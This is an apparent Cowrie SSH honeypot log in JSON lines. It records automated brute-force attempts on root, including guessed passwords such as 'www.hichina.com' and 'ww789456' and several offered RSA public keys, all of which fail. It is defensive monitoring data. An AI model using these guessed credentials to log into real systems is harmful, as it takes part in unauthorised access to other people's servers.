{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6104,"dst_ip":"159.203.135.109","dst_port":22,"session":"921f8adbd7b0","protocol":"ssh","message":"New connection: 213.209.159.158:6104 (159.203.135.109:22) [session: 921f8adbd7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:13.770636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:15.306482Z","src_ip":"213.209.159.158","session":"921f8adbd7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:15.311795Z","src_ip":"213.209.159.158","session":"921f8adbd7b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.hichina.com","message":"login attempt [root/www.hichina.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:20.587786Z","src_ip":"213.209.159.158","session":"921f8adbd7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:23.205291Z","src_ip":"213.209.159.158","session":"921f8adbd7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64948,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec7a4fb7454d","protocol":"ssh","message":"New connection: 213.209.159.158:64948 (159.203.135.109:22) [session: ec7a4fb7454d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:23.287107Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.152.185.117","src_port":38574,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a41fd4330a","protocol":"ssh","message":"New connection: 213.152.185.117:38574 (10.17.0.5:22) [session: c2a41fd4330a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:23.762180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:23.767488Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:23.859409Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrrKsEWYKteF7KwFB8FECGPhydIUrlsDmkHGA/KU4Pw39/BzDgXIYobKY2+wIA/QGpnGLaKdj8C0ExBZbwTR7D8db9PHai106u0bQdbBp24ILr65OWhyYfoBm6k7E6DH/QLEFcohfyo2WvDL9MSGGc/W10bnAVW6Qdse6yIsP7jK4RXd2ibT6Q+sO0snoN3YnvP2JnSxwGHIyDhEvD2Lb5f69H5UklxJLT8XuKR0eGi1i2kG1FqorXA0R0ONM11PEJdpI1QKLJj20/NISElXrobBqqyw4tzoOHrXcgEtiUDQFaS1zXDDclP7xCAFHsXI+vZQ5vBGwe5IKV5BB/4UJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.274486Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:ce:c5:df:bc:a1:30:c6:2c:8f:e4:7d:b8:87:8e:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcrrKsEWYKteF7KwFB8FECGPhydIUrlsDmkHGA/KU4Pw39/BzDgXIYobKY2+wIA/QGpnGLaKdj8C0ExBZbwTR7D8db9PHai106u0bQdbBp24ILr65OWhyYfoBm6k7E6DH/QLEFcohfyo2WvDL9MSGGc/W10bnAVW6Qdse6yIsP7jK4RXd2ibT6Q+sO0snoN3YnvP2JnSxwGHIyDhEvD2Lb5f69H5UklxJLT8XuKR0eGi1i2kG1FqorXA0R0ONM11PEJdpI1QKLJj20/NISElXrobBqqyw4tzoOHrXcgEtiUDQFaS1zXDDclP7xCAFHsXI+vZQ5vBGwe5IKV5BB/4UJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.278972Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:12:f0:a1:e0:3a:82:d8:59:9a:65:02:93:26:b7:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+EW1hEBH5EUSXklRShwDZ66v3FWB+sP6s/6wvaOECbztIzGXxUVWU/6GgARH/zBUXaKZm5qJ541VsRWJJyuHE3QQjglukURMYee6gCB7C9X13lM+UXEMwEKYbU5+apZ4XAQ+36AqlOefPWGqDx2DsRp1izzRAhbfXQrpBPWMsyavCOWWpgN3ar2K0mCIeYVHr/7IgbzzgCeICOJx4ZUTzv7EY4/QIrytSMmND78BKki8wwaM4gqvgzGp7VoWmpZqGqmMs4sbMFQtjWyk9P1uMARArAacJs5KWRKHpc55sYrdvA7oLFC5lDhr7fcBBiSJz66nsfh4+i4flV3V5thNY3RQ7XFAz00URDXPlyU2Y0B6JmiWPBFhYm5tsnkuH2IJLztNDiFXMJeRSpYMm6V7j9RF4QLCS7l8LSlM0N1C9a439NIMnJjAjOHsb/Wg9Z8jjK+lHhOeOBcgcpomp3ySQreLuEbdto2pIQl4f8/T61gS/ic/sHkWf18IobBnS4zV3R0/s7BbUImgoevHrsKGr1Szo1jGsEx4I7ocwDeMZECsrL7L+UrMFysCgl31Fxieu3Bp36mD84odvNvB5TQ7V0BGvzg4Uw9YsUIO6PMf9svIoYjAgNTAFXOYcu9IA/rVohCQ4wON770UpiZE/4J+WC+g39XDaerhTCOyCe4G9FQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:12:f0:a1:e0:3a:82:d8:59:9a:65:02:93:26:b7:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.369949Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:12:f0:a1:e0:3a:82:d8:59:9a:65:02:93:26:b7:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+EW1hEBH5EUSXklRShwDZ66v3FWB+sP6s/6wvaOECbztIzGXxUVWU/6GgARH/zBUXaKZm5qJ541VsRWJJyuHE3QQjglukURMYee6gCB7C9X13lM+UXEMwEKYbU5+apZ4XAQ+36AqlOefPWGqDx2DsRp1izzRAhbfXQrpBPWMsyavCOWWpgN3ar2K0mCIeYVHr/7IgbzzgCeICOJx4ZUTzv7EY4/QIrytSMmND78BKki8wwaM4gqvgzGp7VoWmpZqGqmMs4sbMFQtjWyk9P1uMARArAacJs5KWRKHpc55sYrdvA7oLFC5lDhr7fcBBiSJz66nsfh4+i4flV3V5thNY3RQ7XFAz00URDXPlyU2Y0B6JmiWPBFhYm5tsnkuH2IJLztNDiFXMJeRSpYMm6V7j9RF4QLCS7l8LSlM0N1C9a439NIMnJjAjOHsb/Wg9Z8jjK+lHhOeOBcgcpomp3ySQreLuEbdto2pIQl4f8/T61gS/ic/sHkWf18IobBnS4zV3R0/s7BbUImgoevHrsKGr1Szo1jGsEx4I7ocwDeMZECsrL7L+UrMFysCgl31Fxieu3Bp36mD84odvNvB5TQ7V0BGvzg4Uw9YsUIO6PMf9svIoYjAgNTAFXOYcu9IA/rVohCQ4wON770UpiZE/4J+WC+g39XDaerhTCOyCe4G9FQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.376878Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:c6:06:b2:e5:62:01:6c:e5:36:fa:14:09:c7:3c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCHy2tAkPxWm2FoB/EUUdqTM+UDbj6XSD17pARoCfIX037vYCX/SqpQwxxc2gxljYzaJ5eLyweaUfypIU4sIlm3oaDNAMJ04rnUWzM1qWyHdv0OtN/z/Lt+2jttLUQLNNG857FZrWZ/kddPApdy0RX70DcEJRTW9eNUbBh/9ars2nPbPpwijC7BBvUFh1umvqnkYdC/uKDgCueAKWk8eQRKy+fBitAvLcKMJleAfzU/CXWjKWAS6Ti17foNgFSpwc/3hqBLPU6N+88eI/dbDdMHmWhzU1vHKcIipbvL7q5SGINdhnbk65ej7SMMeupGjkH3JGAe0ycNGCAZh2yVhPbNxRg1Zx6ajtzcdYAZVbYUCwAClczBISjVX2P/6EpXYVpmvmsU033kS1dxT3WjPPMD0BCFzYxp722NHfmtijBVgr9/KUkqdl2CKjZVr6o+AgD9vP/zXEj/zih5fLqNqeYHa+6XDerKdSP5vi3lsyLZkkTrJrxmE+2AtNztvOKHKnbtJ5sWqNBz6rkdcF3JUMnCKtzJoJ0qfOaNTEIT5KfNUrfDSzezjvtuSbMmGeKKNQCPCqInRJj+4BWTwapI1BMVRoajxyYwg/pWCiv74VvPSCccTcVJKLQMdKfRLDtwncm4WYmAz7W2l8IcmQ7U1gMyBzj/mGK9wIZcKDiA1cdyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:c6:06:b2:e5:62:01:6c:e5:36:fa:14:09:c7:3c:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.465720Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:c6:06:b2:e5:62:01:6c:e5:36:fa:14:09:c7:3c:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCHy2tAkPxWm2FoB/EUUdqTM+UDbj6XSD17pARoCfIX037vYCX/SqpQwxxc2gxljYzaJ5eLyweaUfypIU4sIlm3oaDNAMJ04rnUWzM1qWyHdv0OtN/z/Lt+2jttLUQLNNG857FZrWZ/kddPApdy0RX70DcEJRTW9eNUbBh/9ars2nPbPpwijC7BBvUFh1umvqnkYdC/uKDgCueAKWk8eQRKy+fBitAvLcKMJleAfzU/CXWjKWAS6Ti17foNgFSpwc/3hqBLPU6N+88eI/dbDdMHmWhzU1vHKcIipbvL7q5SGINdhnbk65ej7SMMeupGjkH3JGAe0ycNGCAZh2yVhPbNxRg1Zx6ajtzcdYAZVbYUCwAClczBISjVX2P/6EpXYVpmvmsU033kS1dxT3WjPPMD0BCFzYxp722NHfmtijBVgr9/KUkqdl2CKjZVr6o+AgD9vP/zXEj/zih5fLqNqeYHa+6XDerKdSP5vi3lsyLZkkTrJrxmE+2AtNztvOKHKnbtJ5sWqNBz6rkdcF3JUMnCKtzJoJ0qfOaNTEIT5KfNUrfDSzezjvtuSbMmGeKKNQCPCqInRJj+4BWTwapI1BMVRoajxyYwg/pWCiv74VvPSCccTcVJKLQMdKfRLDtwncm4WYmAz7W2l8IcmQ7U1gMyBzj/mGK9wIZcKDiA1cdyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.472459Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:bd:c5:66:96:fa:03:f7:47:44:9a:ad:1f:f8:8a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz952R6GFjY1uTBiyCvGDnYu6HzCMtK4gtoSpU2LWqb8xTM1JeTTFNC65BsVDvLznG4dzoYUgGyc+p5K7JG46TphcCZ2TQiFKmbC7PRspP338jzo7leATMv5erCd+BB9WU1ZTMFn+8qvIxn5obOJp4InYYTXYDdO96CfOC1AALDWX2P4NkBwAGTU9NXgGti/Yr3LjzQkSmvn6gr5lfhoFGVVz0LGZ2t/tneuPjjwM6Hn5ueP3EgS0a6Jyn6kO5fDiI6UwuczglDiMph37rOJ2LtP7ICETiehl+OUdQs/DsuOHFr0LsN1cQ7EYspsnUjrVhUqFvQooE/JOtMymxVsCX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:bd:c5:66:96:fa:03:f7:47:44:9a:ad:1f:f8:8a:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.561965Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:bd:c5:66:96:fa:03:f7:47:44:9a:ad:1f:f8:8a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz952R6GFjY1uTBiyCvGDnYu6HzCMtK4gtoSpU2LWqb8xTM1JeTTFNC65BsVDvLznG4dzoYUgGyc+p5K7JG46TphcCZ2TQiFKmbC7PRspP338jzo7leATMv5erCd+BB9WU1ZTMFn+8qvIxn5obOJp4InYYTXYDdO96CfOC1AALDWX2P4NkBwAGTU9NXgGti/Yr3LjzQkSmvn6gr5lfhoFGVVz0LGZ2t/tneuPjjwM6Hn5ueP3EgS0a6Jyn6kO5fDiI6UwuczglDiMph37rOJ2LtP7ICETiehl+OUdQs/DsuOHFr0LsN1cQ7EYspsnUjrVhUqFvQooE/JOtMymxVsCX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.566476Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.607487Z","src_ip":"213.209.159.158","session":"ec7a4fb7454d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.612395Z","src_ip":"213.209.159.158","session":"ec7a4fb7454d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:b7:18:f0:c1:e6:19:55:d9:74:80:88:4d:8d:8f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbF4CaEm509sPIG0laVzS0rWmoU1DKjRlue9925DHc76+w4ssh4ncwZ12BVbk0TCiWLh+XQFHfqslztpsgVex9bSqLx2UHIVXx4dmUvZqQVOFwoFv5PGYjD4bjbdzia8yuOaJcibMWabI4+OOm8/OJ05ioEgg0wySxKyqgA65oazGMmYaGnH2sJ8epWt7+Ts2t84bE7MyJW4HWaXc2OvdHIsUJgkTAmg6b1oGawzTEeOHW+paG4gI0081HIJLlRwB1SeZIq8kijp1F7zXdWDcsBZ5BbFUrlCa7mOtutKR+1/gSLTsq4huCLjRuCN65ep2gRbc9oOFTQ711hW9TQRgfQxuTlCoQJxFrjNWnfZbb2IK9J6uI9Zo4kM/mCaGeVDW01ciLbU9kr+GYO0MRALNWL7K6LukGFdUwrFM0IaEE8FFYfCoBD31tClacg1miZwS2xQI3j3gzPNGCFAip1VvkcIcmFjc1t9gv/AF3K+p4iNmjQx8lbPCbYQFh04GHWJkWnLP4ViLKImvBPq1boPWzkWKO/jivic2Pjl9IWKH1DEOV10oAsQoX2ZX3oMfPbXU9cFrlIlASZQMvWX+mOpmL3Sfvy5Wf7mwGm4/bKrFU/ntgzJppKLp574XiFfNq2zMa+l1a2a78oGrNh1v1WoWPWXX5LWBIfyl1EPcClbzApw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:b7:18:f0:c1:e6:19:55:d9:74:80:88:4d:8d:8f:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.658393Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:b7:18:f0:c1:e6:19:55:d9:74:80:88:4d:8d:8f:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbF4CaEm509sPIG0laVzS0rWmoU1DKjRlue9925DHc76+w4ssh4ncwZ12BVbk0TCiWLh+XQFHfqslztpsgVex9bSqLx2UHIVXx4dmUvZqQVOFwoFv5PGYjD4bjbdzia8yuOaJcibMWabI4+OOm8/OJ05ioEgg0wySxKyqgA65oazGMmYaGnH2sJ8epWt7+Ts2t84bE7MyJW4HWaXc2OvdHIsUJgkTAmg6b1oGawzTEeOHW+paG4gI0081HIJLlRwB1SeZIq8kijp1F7zXdWDcsBZ5BbFUrlCa7mOtutKR+1/gSLTsq4huCLjRuCN65ep2gRbc9oOFTQ711hW9TQRgfQxuTlCoQJxFrjNWnfZbb2IK9J6uI9Zo4kM/mCaGeVDW01ciLbU9kr+GYO0MRALNWL7K6LukGFdUwrFM0IaEE8FFYfCoBD31tClacg1miZwS2xQI3j3gzPNGCFAip1VvkcIcmFjc1t9gv/AF3K+p4iNmjQx8lbPCbYQFh04GHWJkWnLP4ViLKImvBPq1boPWzkWKO/jivic2Pjl9IWKH1DEOV10oAsQoX2ZX3oMfPbXU9cFrlIlASZQMvWX+mOpmL3Sfvy5Wf7mwGm4/bKrFU/ntgzJppKLp574XiFfNq2zMa+l1a2a78oGrNh1v1WoWPWXX5LWBIfyl1EPcClbzApw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.662454Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:24.756492Z","src_ip":"213.152.185.117","session":"c2a41fd4330a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ww789456","message":"login attempt [root/ww789456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:30.043769Z","src_ip":"213.209.159.158","session":"ec7a4fb7454d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:32.613089Z","src_ip":"213.209.159.158","session":"ec7a4fb7454d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":59988,"dst_ip":"159.203.135.109","dst_port":22,"session":"7394a3cb53a0","protocol":"ssh","message":"New connection: 213.209.159.158:59988 (159.203.135.109:22) [session: 7394a3cb53a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:32.732428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:33.945301Z","src_ip":"213.209.159.158","session":"7394a3cb53a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:32:33.951029Z","src_ip":"213.209.159.158","session":"7394a3cb53a0","protocol":"ssh"}
